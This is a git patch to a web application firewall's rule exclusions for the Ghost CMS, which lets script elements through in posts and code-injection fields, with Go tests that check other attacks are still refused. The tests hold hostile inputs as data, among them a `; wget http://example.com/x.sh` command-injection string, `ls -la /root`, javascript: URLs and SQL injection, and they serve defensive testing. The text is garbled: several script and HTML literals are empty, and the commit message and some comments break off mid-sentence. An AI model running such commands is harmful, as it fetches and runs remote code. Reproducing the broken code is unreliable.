From 47f613202652366ab082725770bc2ba07b8e7a22 Mon Sep 17 00:00:00 2001 From: sneak Date: Thu, 12 Nov 2026 04:17:22 +0000 Subject: [PATCH] Core Rule Set: Ghost posts and code injection take a script element (closes #358) While bodies are read, 941110 refused a `` and `javascript:alert(1)` are still refused in the -articles and code injection (941110, 941170 and 941210). Path traversal and SQL -injection are still refused in every field above. Script injection is too, -outside the articles. `; wget http://example.com/x.sh` is still refused in the -query fields, the plain text and the addresses. +A `` is still refused in snippets and newsletters. +`javascript:alert(1)` is still refused in the articles and code injection +(941170 and 941210). Path traversal and SQL injection are still refused in every +field above. Script injection is too, outside the articles and code injection. +`; wget http://example.com/x.sh` is still refused in the query fields, the plain +text and the addresses. Coraza names a staff user's `profile_image` field `json.users.0.profile_image`. That name holds `.profile`, a file on the list of system files, so the name diff --git a/internal/coreruleset/ghost.conf b/internal/coreruleset/ghost.conf index 8deb8a1..e4b0acd 100644 --- a/internal/coreruleset/ghost.conf +++ b/internal/coreruleset/ghost.conf @@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \ # snippets..lexical and snippets..mobiledoc, a part of a post saved for # reuse # newsletters..footer_content, the footer of a newsletter -# A +# These fields take a ` + +// ghostWidgetCard is ghostWidget as the editor saves it in lexical. +const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` + + `"html":"
"}],` + + `"direction":null,"format":"","indent":0,"type":"root","version":1}}` + +// ghostAnalytics is code injection that loads analytics. +const ghostAnalytics = `` + +func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) { + t.Parallel() + + // An HTML card in a post, as the editor saves it, and as integrations + // send it. + wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false) + + for _, f := range ghostPostFields { + wantGhostField(t, f, ghostWidget, false) + } + + // Site code injection, saved in settings, and a post's or a page's own. + for _, f := range ghostCodeFields { + wantGhostField(t, f, ghostAnalytics, false) + } +} + +// ghostAttacks are an SQL injection and a path traversal, not escaped. // //nolint:gochecknoglobals // a constant cannot be a list -var ghostAttacks = []string{injection, pathTraversal, scriptTag} +var ghostAttacks = []string{injection, pathTraversal} // commandAfterASeparator is a shell command after a ";", not escaped. const commandAfterASeparator = "; wget http://example.com/x.sh" @@ -358,6 +404,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { } } + // A script injection stays refused in every field that does not take a + // `, true) wantGhostField(t, f, `click`, true) } + for _, f := range ghostSnippetAndNewsletterFooterFields { + wantGhostField(t, f, `

Hi

`, true) + } + // An address keeps 932250, which refuses a listing of files. for _, f := range ghostAddressFields { wantGhostField(t, f, "ls -la /root", true) @@ -459,6 +520,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) { } } +func TestGhostScriptExclusionIsNarrow(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A ` + scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}` + scriptInSettings = `{"settings":[{"value":"` + script + `"}]}` + ) + + for _, refused := range []struct{ target, body string }{ + {"/ghost/api/content/posts/", scriptInPost}, + {ghostPosts + "?json.posts.0.lexical=x", scriptInPost}, + {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`}, + {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`}, + {"/api/settings/", scriptInSettings}, + {ghostSettings + "?json.settings.0.value=x", scriptInSettings}, + } { + r := request{http.MethodPut, refused.target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, refused.body) + if got.Score < ghostThreshold || + !slices.Contains(got.RuleIDs, 941110) { + t.Errorf( + "PUT %s %s: %+v, want 941110 among them", + refused.target, + refused.body, + got, + ) + } + } +} + func TestGhostQueryExclusionsAreNarrow(t *testing.T) { t.Parallel()